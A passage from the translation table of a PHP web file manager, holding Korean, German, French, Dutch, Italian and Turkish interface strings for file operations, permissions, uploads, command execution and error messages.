'접근 가능한 디렉토리 범위를 벗어났습니다'; $et['ko']['NoCmd'] = '오류: 명령어가 올바르지 않습니다'; $et['ko']['ConfTrySave'] = '파일에 쓰기 권한이 없습니다.\\n그래도 저장을 시도하시겠습니까'; $et['ko']['ConfSaved'] = '설정을 저장했습니다'; $et['ko']['PassSaved'] = '패스워드를 저장했습니다'; $et['ko']['FileDirExists'] = '이미 존재하는 파일 또는 디렉토리 이름입니다'; $et['ko']['NoPhpinfo'] = 'phpinfo 함수를 사용할 수 없습니다'; $et['ko']['NoReturn'] = '결과가 없습니다'; $et['ko']['FileSent'] = '파일을 전송했습니다'; $et['ko']['SpaceLimReached'] = '용량 제한을 초과했습니다'; $et['ko']['InvExt'] = '확장자가 올바르지 않습니다'; $et['ko']['FileNoOverw'] = '파일을 덮어쓸 수 없습니다'; $et['ko']['FileOverw'] = '파일을 덮어썼습니다'; $et['ko']['FileIgnored'] = '파일을 건너뛰었습니다'; $et['ko']['ChkVer'] = '새로운 버전 확인'; $et['ko']['ChkVerAvailable'] = '여기를 클릭하셔서 새로운 버전을 다운로드 하세요!'; $et['ko']['ChkVerNotAvailable'] = '새로운 버전이 없습니다. :('; $et['ko']['ChkVerError'] = '연결에 실패했습니다'; $et['ko']['Website'] = '웹사이트'; $et['ko']['SendingForm'] = '파일을 전송하고 있습니다. 잠시만 기다려주세요'; $et['ko']['NoFileSel'] = '선택한 파일이 없습니다'; $et['ko']['SelAll'] = '전체선택'; $et['ko']['SelNone'] = '선택해제'; $et['ko']['SelInverse'] = '선택반전'; $et['ko']['Selected_s'] = '선택됨'; $et['ko']['Total'] = '전체'; $et['ko']['Partition'] = '파티션'; $et['ko']['RenderTime'] = '페이지 처리 시간'; $et['ko']['Seconds'] = '초'; $et['ko']['ErrorReport'] = '오류 출력'; $et['ko']['Close'] = '닫기'; $et['ko']['SetPass'] = '패스워드 설정'; $et['ko']['ChangePass'] = '패스워드 변경'; $et['ko']['Portscan'] = '포트스캔'; $et['ko']['PHPOpenBasedir'] = '접근 가능한 디렉토리'; $et['ko']['PHPOpenBasedirFullAccess'] = '(미설정) 전체 접근 가능'; $et['ko']['About'] = '소개'; $et['ko']['FileSaved'] = '파일을 저장했습니다'; $et['ko']['FileSaveError'] = '파일 저장 중 오류가 발생했습니다'; $et['ko']['Timezone'] = '시간대'; $et['ko']['Stop'] = '정지'; $et['ko']['Login'] = '로그인'; // German - by Guido Ogrzal $et['de']['Version'] = 'Version'; $et['de']['DocRoot'] = 'Dokument Wurzelverzeichnis'; $et['de']['FMRoot'] = 'Dateimanager Wurzelverzeichnis'; $et['de']['Name'] = 'Name'; $et['de']['And'] = 'und'; $et['de']['Enter'] = 'Eintreten'; $et['de']['Send'] = 'Senden'; $et['de']['Refresh'] = 'Aktualisieren'; $et['de']['SaveConfig'] = 'Konfiguration speichern'; $et['de']['SavePass'] = 'Passwort speichern'; $et['de']['SaveFile'] = 'Datei speichern'; $et['de']['Save'] = 'Speichern'; $et['de']['Leave'] = 'Verlassen'; $et['de']['Edit'] = 'Bearbeiten'; $et['de']['View'] = 'Ansehen'; $et['de']['Config'] = 'Konfigurieren'; $et['de']['Ren'] = 'Umbenennen'; $et['de']['Rem'] = 'Löschen'; $et['de']['Compress'] = 'Komprimieren'; $et['de']['Decompress'] = 'Dekomprimieren'; $et['de']['ResolveIDs'] = 'Resolve IDs'; $et['de']['Move'] = 'Verschieben'; $et['de']['Copy'] = 'Kopieren'; $et['de']['ServerInfo'] = 'Server-Info'; $et['de']['CreateDir'] = 'Neues Verzeichnis'; $et['de']['CreateArq'] = 'Neue Datei'; $et['de']['ExecCmd'] = 'Kommando'; $et['de']['Upload'] = 'Datei hochladen'; $et['de']['UploadEnd'] = 'Datei hochladen beendet'; $et['de']['Perm'] = 'Erlaubnis'; $et['de']['Perms'] = 'Erlaubnis'; $et['de']['Owner'] = 'Besitzer'; $et['de']['Group'] = 'Gruppe'; $et['de']['Other'] = 'Andere'; $et['de']['Size'] = 'Größe'; $et['de']['Date'] = 'Datum'; $et['de']['Type'] = 'Typ'; $et['de']['Free'] = 'frei'; $et['de']['Shell'] = 'Shell'; $et['de']['Read'] = 'Lesen'; $et['de']['Write'] = 'Schreiben'; $et['de']['Exec'] = 'Ausführen'; $et['de']['Apply'] = 'Bestätigen'; $et['de']['StickyBit'] = 'Sticky Bit'; $et['de']['Pass'] = 'Passwort'; $et['de']['Lang'] = 'Sprache'; $et['de']['File'] = 'Datei'; $et['de']['File_s'] = 'Datei(en)'; $et['de']['Dir_s'] = 'Verzeichniss(e)'; $et['de']['To'] = '->'; $et['de']['Destination'] = 'Ziel'; $et['de']['Configurations'] = 'Konfiguration'; $et['de']['JSError'] = 'JavaScript Fehler'; $et['de']['NoSel'] = 'Es gibt keine selektierten Objekte'; $et['de']['SelDir'] = 'Selektiere das Zielverzeichnis im linken Verzeichnisbaum'; $et['de']['TypeDir'] = 'Trage den Verzeichnisnamen ein'; $et['de']['TypeArq'] = 'Trage den Dateinamen ein'; $et['de']['TypeCmd'] = 'Gib das Kommando ein'; $et['de']['TypeArqComp'] = 'Trage den Dateinamen ein.\\nDie Dateierweiterung wird den Kompressiontyp bestimmen.\\nBsp.:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['de']['RemSel'] = 'LÖSCHE die selektierten Objekte'; $et['de']['NoDestDir'] = 'Das selektierte Zielverzeichnis existiert nicht'; $et['de']['DestEqOrig'] = 'Quell- und Zielverzeichnis stimmen überein'; $et['de']['InvalidDest'] = 'Zielverzeichnis ist ungültig'; $et['de']['NoNewPerm'] = 'Neue Zugriffserlaubnis konnte nicht gesetzt werden'; $et['de']['CopyTo'] = 'KOPIERE nach'; $et['de']['MoveTo'] = 'VERSCHIEBE nach'; $et['de']['AlterPermTo'] = 'ÄNDERE ZUGRIFFSERLAUBSNIS in'; $et['de']['ConfExec'] = 'Bestätige AUSFÜHRUNG'; $et['de']['ConfRem'] = 'Bestätige LÖSCHEN'; $et['de']['EmptyDir'] = 'Leeres Verzeichnis'; $et['de']['IOError'] = 'Eingabe/Ausgabe-Fehler'; $et['de']['FileMan'] = 'PHP File Manager'; $et['de']['TypePass'] = 'Trage das Passwort ein'; $et['de']['InvPass'] = 'Ungültiges Passwort'; $et['de']['ReadDenied'] = 'Lesezugriff verweigert'; $et['de']['FileNotFound'] = 'Datei nicht gefunden'; $et['de']['AutoClose'] = 'Schließen, wenn fertig'; $et['de']['OutDocRoot'] = 'Datei außerhalb von DOCUMENT_ROOT'; $et['de']['NoCmd'] = 'Fehler: Es wurde kein Kommando eingetragen'; $et['de']['ConfTrySave'] = 'Keine Schreibberechtigung für die Datei.\\nVersuche trotzdem zu speichern'; $et['de']['ConfSaved'] = 'Konfiguration gespeichert'; $et['de']['PassSaved'] = 'Passwort gespeichert'; $et['de']['FileDirExists'] = 'Datei oder Verzeichnis existiert schon'; $et['de']['NoPhpinfo'] = 'Funktion phpinfo ist inaktiv'; $et['de']['NoReturn'] = 'keine Rückgabe'; $et['de']['FileSent'] = 'Datei wurde gesendet'; $et['de']['SpaceLimReached'] = 'Verfügbares Speicherlimit wurde erreicht'; $et['de']['InvExt'] = 'Ungültige Dateiendung'; $et['de']['FileNoOverw'] = 'Datei kann nicht überschrieben werden'; $et['de']['FileOverw'] = 'Datei überschrieben'; $et['de']['FileIgnored'] = 'Datei ignoriert'; $et['de']['ChkVer'] = 'Prüfe auf neue Version'; $et['de']['ChkVerAvailable'] = 'Neue Version verfügbar; klicke hier, um den Download zu starten!!'; $et['de']['ChkVerNotAvailable'] = 'Keine neue Version gefunden. :('; $et['de']['ChkVerError'] = 'Verbindungsfehler.'; $et['de']['Website'] = 'Webseite'; $et['de']['SendingForm'] = 'Sende Dateien... Bitte warten.'; $et['de']['NoFileSel'] = 'Keine Datei selektiert'; $et['de']['SelAll'] = 'Alle'; $et['de']['SelNone'] = 'Keine'; $et['de']['SelInverse'] = 'Invertieren'; $et['de']['Selected_s'] = 'selektiert'; $et['de']['Total'] = 'Gesamt'; $et['de']['Partition'] = 'Partition'; $et['de']['RenderTime'] = 'Zeit, um die Seite anzuzeigen'; $et['de']['Seconds'] = 's'; $et['de']['ErrorReport'] = 'Fehlerreport'; // French - by Jean Bilwes $et['fr']['Version'] = 'Version'; $et['fr']['DocRoot'] = 'Racine des documents'; $et['fr']['FMRoot'] = 'Racine du gestionnaire de fichers'; $et['fr']['Name'] = 'Nom'; $et['fr']['And'] = 'et'; $et['fr']['Enter'] = 'Enter'; $et['fr']['Send'] = 'Envoyer'; $et['fr']['Refresh'] = 'Rafraichir'; $et['fr']['SaveConfig'] = 'Enregistrer la configuration'; $et['fr']['SavePass'] = 'Enregistrer le mot de passe'; $et['fr']['SaveFile'] = 'Enregistrer le fichier'; $et['fr']['Save'] = 'Enregistrer'; $et['fr']['Leave'] = 'Quitter'; $et['fr']['Edit'] = 'Modifier'; $et['fr']['View'] = 'Voir'; $et['fr']['Config'] = 'Configuration'; $et['fr']['Ren'] = 'Renommer'; $et['fr']['Rem'] = 'Supprimer'; $et['fr']['Compress'] = 'Compresser'; $et['fr']['Decompress'] = 'Décompresser'; $et['fr']['ResolveIDs'] = 'Résoudre les IDs'; $et['fr']['Move'] = 'Déplacer'; $et['fr']['Copy'] = 'Copier'; $et['fr']['ServerInfo'] = 'Info serveur'; $et['fr']['CreateDir'] = 'Créer un répertoire'; $et['fr']['CreateArq'] = 'Créer un fichier'; $et['fr']['ExecCmd'] = 'Executer une commande'; $et['fr']['Upload'] = 'Upload'; $et['fr']['UploadEnd'] = 'Upload terminé'; $et['fr']['Perm'] = 'Perm'; $et['fr']['Perms'] = 'Permissions'; $et['fr']['Owner'] = 'Propriétaire'; $et['fr']['Group'] = 'Groupe'; $et['fr']['Other'] = 'Autre'; $et['fr']['Size'] = 'Taille'; $et['fr']['Date'] = 'Date'; $et['fr']['Type'] = 'Type'; $et['fr']['Free'] = 'libre'; $et['fr']['Shell'] = 'Shell'; $et['fr']['Read'] = 'Lecture'; $et['fr']['Write'] = 'Ecriture'; $et['fr']['Exec'] = 'Executer'; $et['fr']['Apply'] = 'Appliquer'; $et['fr']['StickyBit'] = 'Sticky Bit'; $et['fr']['Pass'] = 'Mot de passe'; $et['fr']['Lang'] = 'Langage'; $et['fr']['File'] = 'Fichier'; $et['fr']['File_s'] = 'fichier(s)'; $et['fr']['Dir_s'] = 'répertoire(s)'; $et['fr']['To'] = 'à'; $et['fr']['Destination'] = 'Destination'; $et['fr']['Configurations'] = 'Configurations'; $et['fr']['JSError'] = 'Erreur JavaScript'; $et['fr']['NoSel'] = 'Rien n\'est sélectionné'; $et['fr']['SelDir'] = 'Selectionnez le répertoire de destination dans le panneau gauche'; $et['fr']['TypeDir'] = 'Entrer le nom du répertoire'; $et['fr']['TypeArq'] = 'Entrer le nom du fichier'; $et['fr']['TypeCmd'] = 'Entrer la commande'; $et['fr']['TypeArqComp'] = 'Entrer le nom du fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['fr']['RemSel'] = 'EFFACER les objets sélectionnés'; $et['fr']['NoDestDir'] = 'Aucun répertoire de destination n\'est sélectionné'; $et['fr']['DestEqOrig'] = 'Les répertoires source et destination sont identiques'; $et['fr']['InvalidDest'] = 'Le répertoire de destination est invalide'; $et['fr']['NoNewPerm'] = 'Nouvelle permission non établie'; $et['fr']['CopyTo'] = 'COPIER vers'; $et['fr']['MoveTo'] = 'DEPLACER vers'; $et['fr']['AlterPermTo'] = 'CHANGER LES PERMISSIONS'; $et['fr']['ConfExec'] = 'Confirmer l\'EXECUTION'; $et['fr']['ConfRem'] = 'Confirmer la DESTRUCTION'; $et['fr']['EmptyDir'] = 'Répertoire vide'; $et['fr']['IOError'] = 'I/O Error'; $et['fr']['FileMan'] = 'PHP File Manager'; $et['fr']['TypePass'] = 'Entrer le mot de passe'; $et['fr']['InvPass'] = 'Mot de passe invalide'; $et['fr']['ReadDenied'] = 'Droit de lecture refusé'; $et['fr']['FileNotFound'] = 'Fichier introuvable'; $et['fr']['AutoClose'] = 'Fermer sur fin'; $et['fr']['OutDocRoot'] = 'Fichier au delà de DOCUMENT_ROOT'; $et['fr']['NoCmd'] = 'Erreur: Commande non renseignée'; $et['fr']['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nJ\'essaie de l\'enregister'; $et['fr']['ConfSaved'] = 'Configurations enreristrée'; $et['fr']['PassSaved'] = 'Mot de passe enreristré'; $et['fr']['FileDirExists'] = 'Le fichier ou le répertoire existe déjà'; $et['fr']['NoPhpinfo'] = 'Function phpinfo désactivée'; $et['fr']['NoReturn'] = 'pas de retour'; $et['fr']['FileSent'] = 'Fichier envoyé'; $et['fr']['SpaceLimReached'] = 'Espace maxi atteint'; $et['fr']['InvExt'] = 'Extension invalide'; $et['fr']['FileNoOverw'] = 'Le fichier ne peut pas etre écrasé'; $et['fr']['FileOverw'] = 'Fichier écrasé'; $et['fr']['FileIgnored'] = 'Fichier ignoré'; $et['fr']['ChkVer'] = 'Verifier nouvelle version'; $et['fr']['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour la téléchager!!'; $et['fr']['ChkVerNotAvailable'] = 'Aucune mise a jour de disponible. :('; $et['fr']['ChkVerError'] = 'Erreur de connection.'; $et['fr']['Website'] = 'siteweb'; $et['fr']['SendingForm'] = 'Envoi des fichiers en cours, Patienter'; $et['fr']['NoFileSel'] = 'Aucun fichier sélectionné'; $et['fr']['SelAll'] = 'Tous'; $et['fr']['SelNone'] = 'Aucun'; $et['fr']['SelInverse'] = 'Inverser'; $et['fr']['Selected_s'] = 'selectioné'; $et['fr']['Total'] = 'total'; $et['fr']['Partition'] = 'Partition'; $et['fr']['RenderTime'] = 'Temps pour afficher cette page'; $et['fr']['Seconds'] = 'sec'; $et['fr']['ErrorReport'] = 'Rapport d\'erreur'; // Dutch - by Leon Buijs $et['nl']['Version'] = 'Versie'; $et['nl']['DocRoot'] = 'Document Root'; $et['nl']['FMRoot'] = 'File Manager Root'; $et['nl']['Name'] = 'Naam'; $et['nl']['And'] = 'en'; $et['nl']['Enter'] = 'Enter'; $et['nl']['Send'] = 'Verzend'; $et['nl']['Refresh'] = 'Vernieuw'; $et['nl']['SaveConfig'] = 'Configuratie opslaan'; $et['nl']['SavePass'] = 'Wachtwoord opslaan'; $et['nl']['SaveFile'] = 'Bestand opslaan'; $et['nl']['Save'] = 'Opslaan'; $et['nl']['Leave'] = 'Verlaten'; $et['nl']['Edit'] = 'Wijzigen'; $et['nl']['View'] = 'Toon'; $et['nl']['Config'] = 'Configuratie'; $et['nl']['Ren'] = 'Naam wijzigen'; $et['nl']['Rem'] = 'Verwijderen'; $et['nl']['Compress'] = 'Comprimeren'; $et['nl']['Decompress'] = 'Decomprimeren'; $et['nl']['ResolveIDs'] = 'Resolve IDs'; $et['nl']['Move'] = 'Verplaats'; $et['nl']['Copy'] = 'Kopieer'; $et['nl']['ServerInfo'] = 'Serverinformatie'; $et['nl']['CreateDir'] = 'Nieuwe map'; $et['nl']['CreateArq'] = 'Nieuw bestand'; $et['nl']['ExecCmd'] = 'Commando uitvoeren'; $et['nl']['Upload'] = 'Upload'; $et['nl']['UploadEnd'] = 'Upload voltooid'; $et['nl']['Perm'] = 'Rechten'; $et['nl']['Perms'] = 'Rechten'; $et['nl']['Owner'] = 'Eigenaar'; $et['nl']['Group'] = 'Groep'; $et['nl']['Other'] = 'Anderen'; $et['nl']['Size'] = 'Grootte'; $et['nl']['Date'] = 'Datum'; $et['nl']['Type'] = 'Type'; $et['nl']['Free'] = 'free'; $et['nl']['Shell'] = 'Shell'; $et['nl']['Read'] = 'Lezen'; $et['nl']['Write'] = 'Schrijven'; $et['nl']['Exec'] = 'Uitvoeren'; $et['nl']['Apply'] = 'Toepassen'; $et['nl']['StickyBit'] = 'Sticky Bit'; $et['nl']['Pass'] = 'Wachtwoord'; $et['nl']['Lang'] = 'Taal'; $et['nl']['File'] = 'Bestand'; $et['nl']['File_s'] = 'bestand(en)'; $et['nl']['Dir_s'] = 'map(pen)'; $et['nl']['To'] = 'naar'; $et['nl']['Destination'] = 'Bestemming'; $et['nl']['Configurations'] = 'Instellingen'; $et['nl']['JSError'] = 'Javascriptfout'; $et['nl']['NoSel'] = 'Er zijn geen bestanden geselecteerd'; $et['nl']['SelDir'] = 'Kies de bestemming in de boom aan de linker kant'; $et['nl']['TypeDir'] = 'Voer de mapnaam in'; $et['nl']['TypeArq'] = 'Voer de bestandsnaam in'; $et['nl']['TypeCmd'] = 'Voer het commando in'; $et['nl']['TypeArqComp'] = 'Voer de bestandsnaam in.\\nDe extensie zal het compressietype bepalen.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['nl']['RemSel'] = 'VERWIJDER geselecteerde itens'; $et['nl']['NoDestDir'] = 'Er is geen doelmap geselecteerd'; $et['nl']['DestEqOrig'] = 'Bron- en doelmap zijn hetzelfde'; $et['nl']['InvalidDest'] = 'Doelmap is ongeldig'; $et['nl']['NoNewPerm'] = 'Nieuwe rechten niet geset'; $et['nl']['CopyTo'] = 'KOPIEER naar'; $et['nl']['MoveTo'] = 'VERPLAATS naar'; $et['nl']['AlterPermTo'] = 'VERANDER RECHTEN in'; $et['nl']['ConfExec'] = 'Bevestig UITVOEREN'; $et['nl']['ConfRem'] = 'Bevestig VERWIJDEREN'; $et['nl']['EmptyDir'] = 'Lege map'; $et['nl']['IOError'] = 'I/O Error'; $et['nl']['FileMan'] = 'PHP File Manager'; $et['nl']['TypePass'] = 'Voer het wachtwoord in'; $et['nl']['InvPass'] = 'Ongeldig wachtwoord'; $et['nl']['ReadDenied'] = 'Leestoegang ontzegd'; $et['nl']['FileNotFound'] = 'Bestand niet gevonden'; $et['nl']['AutoClose'] = 'Sluit na voltooien'; $et['nl']['OutDocRoot'] = 'Bestand buiten DOCUMENT_ROOT'; $et['nl']['NoCmd'] = 'Error: Command not informed'; $et['nl']['ConfTrySave'] = 'Bestand zonder schrijfrechten.\\nProbeer een andere manier'; $et['nl']['ConfSaved'] = 'Instellingen opgeslagen'; $et['nl']['PassSaved'] = 'Wachtwoord opgeslagen'; $et['nl']['FileDirExists'] = 'Bestand of map bestaat al'; $et['nl']['NoPhpinfo'] = 'Functie \'phpinfo\' is uitgeschakeld'; $et['nl']['NoReturn'] = 'no return'; $et['nl']['FileSent'] = 'Bestand verzonden'; $et['nl']['SpaceLimReached'] = 'Opslagruimtelimiet bereikt'; $et['nl']['InvExt'] = 'Ongeldige extensie'; $et['nl']['FileNoOverw'] = 'Bestand kan niet worden overgeschreven'; $et['nl']['FileOverw'] = 'Bestand overgeschreven'; $et['nl']['FileIgnored'] = 'Bestand genegeerd'; $et['nl']['ChkVer'] = 'Controleer nieuwe versie'; $et['nl']['ChkVerAvailable'] = 'Nieuwe versie, klik hier om de download te starten'; $et['nl']['ChkVerNotAvailable'] = 'Geen nieuwe versie beschikbaar'; $et['nl']['ChkVerError'] = 'Verbindingsfout.'; $et['nl']['Website'] = 'Website'; $et['nl']['SendingForm'] = 'Bestanden worden verzonden. Even geduld...'; $et['nl']['NoFileSel'] = 'Geen bestanden geselecteerd'; $et['nl']['SelAll'] = 'Alles'; $et['nl']['SelNone'] = 'Geen'; $et['nl']['SelInverse'] = 'Keer om'; $et['nl']['Selected_s'] = 'geselecteerd'; $et['nl']['Total'] = 'totaal'; $et['nl']['Partition'] = 'Partitie'; $et['nl']['RenderTime'] = 'Tijd voor maken van deze pagina'; $et['nl']['Seconds'] = 'sec'; $et['nl']['ErrorReport'] = 'Foutenrapport'; // Italian - by Valerio Capello $et['it']['Version'] = 'Versione'; $et['it']['DocRoot'] = 'Document Root'; $et['it']['FMRoot'] = 'File Manager Root'; $et['it']['Name'] = 'Nome'; $et['it']['And'] = 'e'; $et['it']['Enter'] = 'Immetti'; $et['it']['Send'] = 'Invia'; $et['it']['Refresh'] = 'Aggiorna'; $et['it']['SaveConfig'] = 'Salva la Configurazione'; $et['it']['SavePass'] = 'Salva la Password'; $et['it']['SaveFile'] = 'Salva il File'; $et['it']['Save'] = 'Salva'; $et['it']['Leave'] = 'Abbandona'; $et['it']['Edit'] = 'Modifica'; $et['it']['View'] = 'Guarda'; $et['it']['Config'] = 'Configurazione'; $et['it']['Ren'] = 'Rinomina'; $et['it']['Rem'] = 'Elimina'; $et['it']['Compress'] = 'Comprimi'; $et['it']['Decompress'] = 'Decomprimi'; $et['it']['ResolveIDs'] = 'Risolvi IDs'; $et['it']['Move'] = 'Sposta'; $et['it']['Copy'] = 'Copia'; $et['it']['ServerInfo'] = 'Informazioni sul Server'; $et['it']['CreateDir'] = 'Crea Directory'; $et['it']['CreateArq'] = 'Crea File'; $et['it']['ExecCmd'] = 'Esegui Comando'; $et['it']['Upload'] = 'Carica'; $et['it']['UploadEnd'] = 'Caricamento terminato'; $et['it']['Perm'] = 'Perm'; $et['it']['Perms'] = 'Permessi'; $et['it']['Owner'] = 'Proprietario'; $et['it']['Group'] = 'Gruppo'; $et['it']['Other'] = 'Altri'; $et['it']['Size'] = 'Dimensioni'; $et['it']['Date'] = 'Data'; $et['it']['Type'] = 'Tipo'; $et['it']['Free'] = 'liberi'; $et['it']['Shell'] = 'Shell'; $et['it']['Read'] = 'Lettura'; $et['it']['Write'] = 'Scrittura'; $et['it']['Exec'] = 'Esecuzione'; $et['it']['Apply'] = 'Applica'; $et['it']['StickyBit'] = 'Sticky Bit'; $et['it']['Pass'] = 'Password'; $et['it']['Lang'] = 'Lingua'; $et['it']['File'] = 'File'; $et['it']['File_s'] = 'file'; $et['it']['Dir_s'] = 'directory'; $et['it']['To'] = 'a'; $et['it']['Destination'] = 'Destinazione'; $et['it']['Configurations'] = 'Configurazione'; $et['it']['JSError'] = 'Errore JavaScript'; $et['it']['NoSel'] = 'Non ci sono elementi selezionati'; $et['it']['SelDir'] = 'Scegli la directory di destinazione'; $et['it']['TypeDir'] = 'Inserisci il nome della directory'; $et['it']['TypeArq'] = 'Inserisci il nome del file'; $et['it']['TypeCmd'] = 'Inserisci il comando'; $et['it']['TypeArqComp'] = 'Inserisci il nome del file.\\nLa estensione definirà il tipo di compressione.\\nEsempio:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['it']['RemSel'] = 'ELIMINA gli elementi selezionati'; $et['it']['NoDestDir'] = 'LA directory di destinazione non è stata selezionata'; $et['it']['DestEqOrig'] = 'La directory di origine e di destinazione sono la stessa'; $et['it']['InvalidDest'] = 'La directory di destinazione non è valida'; $et['it']['NoNewPerm'] = 'Nuovi permessi non attivati'; $et['it']['CopyTo'] = 'COPIA in'; $et['it']['MoveTo'] = 'SPOSTA in'; $et['it']['AlterPermTo'] = 'CAMBIA I PERMESSI: '; $et['it']['ConfExec'] = 'Conferma ESECUZIONE'; $et['it']['ConfRem'] = 'Conferma ELIMINAZIONE'; $et['it']['EmptyDir'] = 'Directory vuota'; $et['it']['IOError'] = 'Errore di I/O'; $et['it']['FileMan'] = 'PHP File Manager'; $et['it']['TypePass'] = 'Immetti la password'; $et['it']['InvPass'] = 'Password non valida'; $et['it']['ReadDenied'] = 'Permesso di lettura negato'; $et['it']['FileNotFound'] = 'File non trovato'; $et['it']['AutoClose'] = 'Chiudi la finestra al termine'; $et['it']['OutDocRoot'] = 'File oltre DOCUMENT_ROOT'; $et['it']['NoCmd'] = 'Errore: Comando non informato'; $et['it']['ConfTrySave'] = 'File senza permesso di scrittura.\\nProvo a salvare comunque'; $et['it']['ConfSaved'] = 'Configurazione salvata'; $et['it']['PassSaved'] = 'Password salvata'; $et['it']['FileDirExists'] = 'Il file o la directory esiste già'; $et['it']['NoPhpinfo'] = 'La funzione phpinfo è disabilitata'; $et['it']['NoReturn'] = 'senza Return'; $et['it']['FileSent'] = 'File inviato'; $et['it']['SpaceLimReached'] = 'è stato raggiunto il limite di spazio disponibile'; $et['it']['InvExt'] = 'Estensione non valida'; $et['it']['FileNoOverw'] = 'Il file non può essere sovrascritto'; $et['it']['FileOverw'] = 'File sovrascritto'; $et['it']['FileIgnored'] = 'File ignorato'; $et['it']['ChkVer'] = 'Controlla se è disponibile una nuova versione'; $et['it']['ChkVerAvailable'] = 'è disponibile una nuova versione: premi qui per scaricarla.'; $et['it']['ChkVerNotAvailable'] = 'Non è disponibile nessuna nuova versione. :('; $et['it']['ChkVerError'] = 'Errore di connessione.'; $et['it']['Website'] = 'Sito Web'; $et['it']['SendingForm'] = 'Invio file, attendere prego'; $et['it']['NoFileSel'] = 'Nessun file selezionato'; $et['it']['SelAll'] = 'Tutti'; $et['it']['SelNone'] = 'Nessuno'; $et['it']['SelInverse'] = 'Inverti'; $et['it']['Selected_s'] = 'selezionato'; $et['it']['Total'] = 'totali'; $et['it']['Partition'] = 'Partizione'; $et['it']['RenderTime'] = 'Tempo per elaborare questa pagina'; $et['it']['Seconds'] = 'sec'; $et['it']['ErrorReport'] = 'Error Reporting'; // Turkish - by Necdet Yazilimlari $et['tr']['Version'] = 'Versiyon'; $et['tr']['DocRoot'] = 'Kok dosya'; $et['tr']['FMRoot'] = 'Kok dosya yoneticisi'; $et['tr']['Name'] = 'Isim'; $et['tr']['And'] = 've'; $et['tr']['Enter'] = 'Giris'; $et['tr']['Send'] = 'Yolla'; $et['tr']['Refresh'] = 'Yenile'; $et['tr']['SaveConfig'] = 'Ayarlari kaydet'; $et['tr']['SavePass'] = 'Parolayi kaydet'; $et['tr']['SaveFile'] = 'Dosyayi kaydet'; $et['tr']['Save'] = 'Kaydet'; $et['tr']['Leave'] = 'Ayril'; $et['tr']['Edit'] = 'Duzenle'; $et['tr']['View'] = 'Goster'; $et['tr']['Config'] = 'Yapilandirma'; $et['tr']['Ren'] = 'Yeniden adlandir'; $et['tr']['Rem'] = 'Sil'; $et['tr']['Compress'] = '.Zip'; $et['tr']['Decompress'] = '.ZipCoz'; $et['tr']['ResolveIDs'] = 'Kimlikleri coz'; $et['tr']['Move'] = 'Tasi'; $et['tr']['Copy'] = 'Kopyala'; $et['tr']['ServerInfo'] = 'Sunucu Bilgisi'; $et['tr']['CreateDir'] = 'Dizin olustur'; $et['tr']['CreateArq'] = 'Dosya olusutur'; $et['tr']['ExecCmd'] = 'Komut calistir'; $et['tr']['Upload'] = 'Dosya yukle'; $et['tr']['UploadEnd'] = 'Yukleme tamamlandi'; $et['tr']['Perm'] = 'Izinler'; $et['tr']['Perms'] = 'Izinler'; $et['tr']['Owner'] = 'Sahip'; $et['tr']['Group'] = 'Grup'; $et['tr']['Other'] = 'Diger'; $et['tr']['Size'] = 'Boyut'; $et['tr']['Date'] = 'Tarih'; $et['tr']['Type'] = 'Tip'; $et['tr']['Free'] = 'Bos'; $et['tr']['Shell'] = 'Kabuk'; $et['tr']['Read'] = 'Oku'; $et['tr']['Write'] = 'Yaz'; $et['tr']['Exec'] = 'Calistir'; $et['tr']['Apply'] = 'Uygula'; $et['tr']['StickyBit'] = 'Sabit bit'; $et['tr']['Pass'] = 'Parola'; $et['tr']['Lang'] = 'Dil'; $et['tr']['File'] = 'Dosya'; $et['tr']['File_s'] = 'Dosya(lar)'; $et['tr']['Dir_s'] = 'Dizin(ler)'; $et['tr']['To'] = 'icin'; $et['tr']['Destination'] = 'Hedef'; $et['tr']['Configurations'] = 'Yapilandirmalar'; $et['tr']['JSError'] = 'JavaScript hatasi'; $et['tr']['NoSel'] = 'Secilen oge yok'; $et['tr']['SelDir'] = 'Soldaki hedef dizin agaci secin'; $et['tr']['TypeDir'] = 'Dizin adini girin'; $et['tr']['TypeArq'] = 'Dosya adini girin'; $et['tr']['TypeCmd'] = 'Komut girin'; $et['tr']['TypeArqComp'] = 'Dosya ismini yazdiktan sonra sonuna .zip ekleyin'; $et['tr']['RemSel'] = 'Secili ogeleri sil'; $et['tr']['NoDestDir'] = 'Secili dizin yok'; $et['tr']['DestEqOrig'] = 'Kokenli ve esit gidis rehberi'; $et['tr']['InvalidDest'] = 'Hedef dizin gecersiz'; $et['tr']['NoNewPerm'] = 'Izinler uygun degil'; $et['tr']['CopyTo'] = 'Kopya icin'; $et['tr']['MoveTo'] = 'Tasi icin'; $et['tr']['AlterPermTo'] = 'Permission secin'; $et['tr']['ConfExec'] = 'Yapilandirmayi onayla'; $et['tr']['ConfRem'] = 'Simeyi onayla'; $et['tr']['EmptyDir'] = 'Dizin bos'; $et['tr']['IOError'] = 'Hata'; $et['tr']['FileMan'] = 'Necdet_Yazilimlari'; $et['tr']['TypePass'] = 'Parolayi girin'; $et['tr']['InvPass'] = 'Gecersiz parola'; $et['tr']['ReadDenied'] = 'Okumaya erisim engellendi'; $et['tr']['FileNotFound'] = 'Dosya bulunamadi'; $et['tr']['AutoClose'] = 'Otomatik kapat'; $et['tr']['OutDocRoot'] = 'Kok klasor disindaki dosya'; $et['tr']['NoCmd'] = 'Hata: Komut haberdar degil'; $et['tr']['ConfTrySave'] = 'Dosya yazma izniniz yok. Yine de kaydetmeyi deneyebilirsiniz.'; $et['tr']['ConfSaved'] = 'Ayarlar kaydedildi'; $et['tr']['PassSaved'] = 'Parola kaydedildi'; $et['tr']['FileDirExists'] = 'Dosya veya dizin zaten var'; $et['tr']['NoPhpinfo'] = 'Php fonksiyon bilgisi devre disi'; $et['tr']['NoReturn'] = 'Deger dondurmuyor'; $et['tr']['FileSent'] = 'Dosya gonderildi'; $et['tr']['SpaceLimReached'] = 'Disk limitine ulasildi'; $et['tr']['InvExt'] = 'Gecersiz uzanti'; $et['tr']['FileNoOverw'] = 'Dosya degistirilemiyor'; $et['tr']['FileOverw'] = 'Dosya degistiribiliyor'; $et['tr']['FileIgnored'] = 'Dosya kabul edildi'; 